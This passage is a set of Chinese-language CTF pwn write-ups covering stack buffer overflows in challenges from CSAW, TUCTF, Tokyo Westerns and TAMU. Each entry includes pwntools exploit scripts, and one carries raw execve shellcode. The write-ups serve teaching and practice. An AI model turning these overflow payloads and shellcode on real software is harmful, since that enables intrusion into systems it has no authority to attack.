pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd
7aa1accb16feac888c99841f504, not stripped
λ ~/ pwn checksec pwn1
[*] &apos;/home/cub3y0nd/pwn1&apos;
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
aaaa
I don&apos;t know that! Auuuuuuuugh!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;咋一看好像没啥东西，丢到 IDA 里面瞧瞧：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3uv4xilla4.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;显然，根据伪代码可以轻易的知道如何绕过前两问的输入。然后第三问采用了一个 &lt;code&gt;gets()&lt;/code&gt; 函数接收输入，输入保存到一个 43 字节大小的字符数组里面。由于 &lt;code&gt;gets()&lt;/code&gt; 不检查输入大小，因此超过 &lt;code&gt;input&lt;/code&gt; 容量的内容会溢出到 &lt;code&gt;v5&lt;/code&gt;。最后如果 &lt;code&gt;v5 == 0xDEA110C8&lt;/code&gt; 则输出 &lt;code&gt;flag&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;所以思路就是先回答前两问，然后填满 &lt;code&gt;input&lt;/code&gt;，将 &lt;code&gt;0xDEA110C8&lt;/code&gt; 溢出到变量 &lt;code&gt;v5&lt;/code&gt;，结束。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./pwn1&apos;)

recvuntil = lambda str : print(target.recvuntil(str))

payload = b&apos;A&apos; * 0x2b + p32(0xdea110c8)

recvuntil(b&apos;What... is your name?&apos;)
target.sendline(b&apos;Sir Lancelot of Camelot&apos;)
recvuntil(b&apos;What... is your quest?&apos;)
target.sendline(b&apos;To seek the Holy Grail.&apos;)
recvuntil(b&apos;What... is my secret?&apos;)
target.sendline(payload)
target.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;flag{g0ttem_b0yz}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Tokyo Westerns CTF 3rd 2017 JustDoIt&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: Unknow&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Unknow&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file just_do_it
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
λ ~/ pwn checksec just_do_it
[*] &apos;/home/cub3y0nd/just_do_it&apos;
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
aaaa
Invalid Password, Try Again!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可能是要获得密码打印 &lt;code&gt;flag&lt;/code&gt;，丢到 IDA 看看：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9dd9dnufbd.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看伪代码发现，就算提供了正确的密码也只是输出一条消息而已，得到密码好像并没有什么用。这就是一个障眼法！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.41ycsy8x2i.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;虽然不需要密码，但是如果你好奇密码的话，也不是不行... 通过 IDA 我们知道密码是 &lt;code&gt;P@SSW0RD&lt;/code&gt;，于是乎：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qfkigcwc.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里即使有了正确的密码还是提示密码错误的原因是 &lt;code&gt;fgets&lt;/code&gt; 函数会把换行符也读进去。所以我们只需要在密码后面加上空字符 &lt;code&gt;\0&lt;/code&gt; 就可以去掉换行符了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5trbnutfka.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;扯远了...&lt;/p&gt;
&lt;p&gt;通过之前的伪代码可以发现，&lt;code&gt;fgets&lt;/code&gt; 接收的输入大小远超 &lt;code&gt;input&lt;/code&gt; 可容纳的大小。因此通过调试可以知道溢出 padding 是 20 字节：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.pfmyku3iw.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么有了溢出 padding 后怎么获取 flag 呢？&lt;/p&gt;
&lt;p&gt;由伪代码知，它会从 &lt;code&gt;stream&lt;/code&gt; 里面读取 48 字节的数据，保存到 &lt;code&gt;flag&lt;/code&gt; 变量里面。那么我们如果可以直接输出 &lt;code&gt;flag&lt;/code&gt; 就好了。这里有一个思路是利用之前的溢出漏洞，将 &lt;code&gt;input&lt;/code&gt; 填满后把 &lt;code&gt;flag&lt;/code&gt; 变量的地址溢出给 &lt;code&gt;v6&lt;/code&gt;，这就会导致 &lt;code&gt;puts&lt;/code&gt; 输出 &lt;code&gt;flag&lt;/code&gt; 变量的内容。perfect 移花接木&lt;/p&gt;
&lt;p&gt;嗯...这样就很清晰了。通过 IDA 直接看 &lt;code&gt;flag&lt;/code&gt; 在 &lt;code&gt;.bss&lt;/code&gt; 中的地址：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51eg64dvpk.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然，如果你想验证它是不是真我们所想覆盖了 &lt;code&gt;v6&lt;/code&gt; 让 &lt;code&gt;puts&lt;/code&gt; 输出 &lt;code&gt;flag&lt;/code&gt; 的内容：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1vyy76k20n.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./just_do_it&apos;)

payload = b&apos;A&apos; * 0x14 + p32(0x0804A080)

target.sendline(payload)
target.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;TWCTF{pwnable_warmup_I_did_it!}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;CSAW 2016 Quals Warmup&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 50&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;So you want to be a pwn-er huh? Well let&apos;s throw you an easy one ;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
λ ~/ pwn checksec warmup
[*] &apos;/home/cub3y0nd/warmup&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./warmup
-Warm Up-
WOW:0x40060d
&amp;gt;wow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3k8b4day6h.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这种题真就是闭着眼睛做... 一眼出思路：溢出 &lt;code&gt;v5&lt;/code&gt; 覆盖返回地址为 &lt;code&gt;easy&lt;/code&gt; 函数即可。&lt;/p&gt;
&lt;p&gt;值得注意的是首先要了解函数调用约定和栈帧布局，这样才能准确的覆盖返回地址。可以参考下面两篇文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.cnblogs.com/clover-toeic/p/3755401.html&quot;&gt;C 语言函数调用栈（一）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.cnblogs.com/clover-toeic/p/3756668.html&quot;&gt;C 语言函数调用栈（二）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还有一点就是确保 &lt;a href=&quot;https://www.cubeyond.net/blog/pwn-notes/stack/return-oriented-programming/stack-alignment&quot;&gt;栈对齐&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./warmup&apos;)

# payload = b&apos;A&apos; * (64 + 8) + p64(0x40060d + 0x1)
payload = b&apos;A&apos; * (64 + 8) + p64(0x4006a4) + p64(0x40060d)

target.sendline(payload)
target.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;FLAG{LET_US_BEGIN_CSAW_2016}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;CSAW Quals 2018 Get It&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 100&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Do you get it?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file get_it
get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped
λ ~/ pwn checksec get_it
[*] &apos;/get_it&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./get_it
Do you gets it??
i will
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+10h] [rbp-20h] BYREF

  puts(&quot;Do you gets it??&quot;);
  gets(v4);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int give_shell()
{
  return system(&quot;/bin/bash&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./get_it&apos;)

payload = b&apos;A&apos; * (0x20 + 0x8) + p64(0x4005f7) + p64(0x4005b6)

target.sendline(payload)
target.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;flag{y0u_deF_get_itls}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;TUCTF 2017 vulnchat&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 50&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;One of our informants goes by the handle djinn. He found some information while working undercover inside an organized crime ring. Although we&apos;ve had trouble retrieving this information from him. He left us this chat client to talk with him. Let&apos;s see if he trusts you...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file vuln-chat
vuln-chat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a3caa1805eeeee1454ee76287be398b12b5fa2b7, not stripped
λ ~/ pwn checksec vuln-chat
[*] &apos;/home/cub3y0nd/vuln-chat&apos;
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: cub3y0nd
Welcome cub3y0nd!
Connecting to &apos;djinn&apos;
--- &apos;djinn&apos; has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
cub3y0nd: tbh im ur daddy u can trust me LOL
djinn: Sorry. That&apos;s not good enough
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[20]; // [esp+3h] [ebp-2Dh] BYREF
  char v5[20]; // [esp+17h] [ebp-19h] BYREF
  char var5[9]; // [esp+2Bh] [ebp-5h] BYREF

  setvbuf(stdout, 0, 2, 0x14u);
  puts(&quot;----------- Welcome to vuln-chat -------------&quot;);
  printf(&quot;Enter your username: &quot;);
  strcpy(var5, &quot;%30s&quot;);
  __isoc99_scanf(var5, v5);
  printf(&quot;Welcome %s!\n&quot;, v5);
  puts(&quot;Connecting to &apos;djinn&apos;&quot;);
  sleep(1u);
  puts(&quot;--- &apos;djinn&apos; has joined your chat ---&quot;);
  puts(&quot;djinn: I have the information. But how do I know I can trust you?&quot;);
  printf(&quot;%s: &quot;, v5);
  __isoc99_scanf(var5, v4);
  puts(&quot;djinn: Sorry. That&apos;s not good enough&quot;);
  fflush(stdout);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int printFlag()
{
  system(&quot;/bin/cat ./flag.txt&quot;);
  return puts(&quot;Use it wisely&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题的重点在于 &lt;code&gt;scanf&lt;/code&gt; 限制了最大输入长度，导致不能直接覆盖返回地址。因此需要先将最大输入长度扩大，下面是调试过程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; b *main+71
Breakpoint 1 at 0x80485d1
pwndbg&amp;gt; b *main+170
Breakpoint 2 at 0x8048634
pwndbg&amp;gt; cyclic 20
aaaabaaacaaadaaaeaaa
pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/CTF/vuln-chat
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/usr/lib/libthread_db.so.1&quot;.
----------- Welcome to vuln-chat -------------
Enter your username:
Breakpoint 1, 0x080485d1 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────
*EAX  0xffffd5d3 ◂— &apos;%30s&apos;
*EBX  0xf7f92e2c ◂— 0x22ed4c
 ECX  0x0
 EDX  0x0
*EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
*ESI  0x8048660 (__libc_csu_init) ◂— push ebp
*EBP  0xffffd5d8 ◂— 0x0
*ESP  0xffffd5a0 —▸ 0xffffd5d3 ◂— &apos;%30s&apos;
*EIP  0x80485d1 (main+71) —▸ 0xfffe8ae8 ◂— 0x0
────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────
 ► 0x80485d1 &amp;lt;main+71&amp;gt;     call   8048460h                      &amp;lt;__isoc99_scanf@plt&amp;gt;
        format: 0xffffd5d3 ◂— &apos;%30s&apos;
        vararg: 0xffffd5bf ◂— 0x0

   0x80485d6 &amp;lt;main+76&amp;gt;     add    esp, 8
   0x80485d9 &amp;lt;main+79&amp;gt;     lea    eax, [ebp - 19h]
   0x80485dc &amp;lt;main+82&amp;gt;     push   eax
   0x80485dd &amp;lt;main+83&amp;gt;     push   8048759h
   0x80485e2 &amp;lt;main+88&amp;gt;     call   80483e0h                      &amp;lt;printf@plt&amp;gt;

   0x80485e7 &amp;lt;main+93&amp;gt;     add    esp, 8
   0x80485ea &amp;lt;main+96&amp;gt;     push   8048766h
   0x80485ef &amp;lt;main+101&amp;gt;    call   8048410h                      &amp;lt;puts@plt&amp;gt;

   0x80485f4 &amp;lt;main+106&amp;gt;    add    esp, 4
   0x80485f7 &amp;lt;main+109&amp;gt;    push   1
────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000│ esp 0xffffd5a0 —▸ 0xffffd5d3 ◂— &apos;%30s&apos;
01:0004│-034 0xffffd5a4 —▸ 0xffffd5bf ◂— 0x0
02:0008│-030 0xffffd5a8 ◂— 0xffffffff
03:000c│-02c 0xffffd5ac —▸ 0xf7d71424 ◂— 0x920 /* &apos; \t&apos; */
04:0010│-028 0xffffd5b0 —▸ 0xf7fbf380 —▸ 0xf7d64000 ◂— 0x464c457f
05:0014│-024 0xffffd5b4 ◂— 0x0
... ↓        2 skipped
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► 0 0x80485d1 main+71
   1 0xf7d84bd7
   2 0xf7d84c9d __libc_start_main+141
   3 0x8048491 _start+33
──────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; c
Continuing.
aaaabaaacaaadaaaeaaa%100s
Welcome aaaabaaacaaadaaaeaaa%100s!
Connecting to &apos;djinn&apos;
--- &apos;djinn&apos; has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
aaaabaaacaaadaaaeaaa%100s:
Breakpoint 2, 0x08048634 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────
 EAX  0xffffd5d3 ◂— &apos;%100s&apos;
 EBX  0xf7f92e2c ◂— 0x22ed4c
 ECX  0x0
 EDX  0x0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
 ESI  0x8048660 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd5d8 ◂— 0x0
 ESP  0xffffd5a0 —▸ 0xffffd5d3 ◂— &apos;%100s&apos;
*EIP  0x8048634 (main+170) —▸ 0xfffe27e8 ◂— 0x0
────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────
 ► 0x8048634 &amp;lt;main+170&amp;gt;    call   8048460h                      &amp;lt;__isoc99_scanf@plt&amp;gt;
        format: 0xffffd5d3 ◂— &apos;%100s&apos;
        vararg: 0xffffd5ab ◂— 0xd71424ff

   0x8048639 &amp;lt;main+175&amp;gt;    add    esp, 8
   0x804863c &amp;lt;main+178&amp;gt;    push   80487ech
   0x8048641 &amp;lt;main+183&amp;gt;    call   8048410h                      &amp;lt;puts@plt&amp;gt;

   0x8048646 &amp;lt;main+188&amp;gt;    add    esp, 4
   0x8048649 &amp;lt;main+191&amp;gt;    mov    eax, dword ptr [8049a60h]
   0x804864e &amp;lt;main+196&amp;gt;    push   eax
   0x804864f &amp;lt;main+197&amp;gt;    call   80483f0h                      &amp;lt;fflush@plt&amp;gt;

   0x8048654 &amp;lt;main+202&amp;gt;    add    esp, 4
   0x8048657 &amp;lt;main+205&amp;gt;    mov    eax, 0
   0x804865c &amp;lt;main+210&amp;gt;    leave
────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000│ esp 0xffffd5a0 —▸ 0xffffd5d3 ◂— &apos;%100s&apos;
01:0004│-034 0xffffd5a4 —▸ 0xffffd5ab ◂— 0xd71424ff
02:0008│-030 0xffffd5a8 ◂— 0xffffffff
03:000c│-02c 0xffffd5ac —▸ 0xf7d71424 ◂— 0x920 /* &apos; \t&apos; */
04:0010│-028 0xffffd5b0 —▸ 0xf7fbf380 —▸ 0xf7d64000 ◂— 0x464c457f
05:0014│-024 0xffffd5b4 ◂— 0x0
06:0018│-020 0xffffd5b8 ◂— 0x0
07:001c│-01c 0xffffd5bc ◂— 0x61000000
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► 0 0x8048634 main+170
   1 0xf7d84bd7
   2 0xf7d84c9d __libc_start_main+141
   3 0x8048491 _start+33
──────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; x/s $ebp-0x5
0xffffd5d3: &quot;%100s&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有了更大的输入空间后就可以利用第二个 &lt;code&gt;scanf&lt;/code&gt; 来覆盖返回地址了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./vuln-chat&apos;)

recvuntil   = lambda str : print(target.recvuntil(str))
sendline    = lambda str : target.sendline(str)
interactive = lambda : target.interactive()

recvuntil(b&apos;: &apos;)
sendline(b&apos;A&apos; * 0x14 + b&apos;%100s&apos;)
recvuntil(b&apos;: &apos;)
payload = b&apos;A&apos; * 0x31 + p32(0x804856b)
sendline(payload)
interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;flag: &lt;code&gt;TUCTF{574ck_5m45h1n6_l1k3_4_pr0}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;CSAW 2017 pilot&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 100&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Can I take your order?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file pilot
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
λ ~/ pwn checksec pilot
[*] &apos;/home/cub3y0nd/pilot&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines &amp;amp; Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffdaefb40d0
[*]Command:self-destruct
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪代码如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ojztnbibt.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到除了 &lt;code&gt;main&lt;/code&gt; 函数之外就没有别的函数了，那就不是 &lt;code&gt;ret2win&lt;/code&gt; 题型。&lt;/p&gt;
&lt;p&gt;接收的输入大于 &lt;code&gt;buf&lt;/code&gt; 的大小，存在栈溢出漏洞。由于栈可执行，我们可以尝试运行 shellcode 来 get shell。&lt;/p&gt;
&lt;p&gt;在栈中安排 shellcode 的布局如下：因为程序给出了 &lt;code&gt;buf&lt;/code&gt; 的地址，所以我们可以将 shellcode 插在 &lt;code&gt;buf&lt;/code&gt; 的头部，然后填满 &lt;code&gt;buf&lt;/code&gt; 的剩余空间，最后将 &lt;code&gt;buf&lt;/code&gt; 的起始地址溢出到 &lt;code&gt;ret&lt;/code&gt; 就实现了执行 shellcode 的逻辑。&lt;/p&gt;
&lt;p&gt;这里有一个现成的 &lt;a href=&quot;http://shell-storm.org/shellcode/index.html&quot;&gt;shellcode&lt;/a&gt; 网站。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./pilot&apos;)

recvline    = lambda : target.recvline()
recvuntil   = lambda str : target.recvuntil(str)
sendline    = lambda str : target.sendline(str)
interactive = lambda : target.interactive()

recvuntil(b&apos;:&apos;)
leak_addr = p64(int(recvline(), 16))

shellcode = b&apos;\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05&apos;
payload = shellcode + b&apos;A&apos; * (0x28 - len(shellcode)) + leak_addr

sendline(payload)
interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;TAMU 2019 pwn3&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 387&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This challenge tackles stack buffer overflow leading to a shellcode execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file pwn3
pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
λ ~/ pwn checksec pwn3
[*] &apos;/home/cub3y0nd/pwn3&apos;
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./pwn3
Take this, you might need it on your journey 0xffda23ae!
aight!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, (char *)&amp;amp;dword_0 + 2, 0, 0);
  echo(&amp;amp;argc);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;char *echo()
{
  char s[294]; // [esp+Eh] [ebp-12Ah] BYREF

  printf(&quot;Take this, you might need it on your journey %p!\n&quot;, s);
  return gets(s);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一开始我还疑惑 &lt;code&gt;ebp-0x12a&lt;/code&gt; 是个什么东西，后来调试发现和程序给我们的地址是一样的。那就不难想到它是想让我们把 shellcode 塞到这个地址里面。&lt;/p&gt;
&lt;p&gt;调试过程如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; disass main
Dump of assembler code for function main:
   0x000005e3 &amp;lt;+0&amp;gt;: lea    ecx,[esp+0x4]
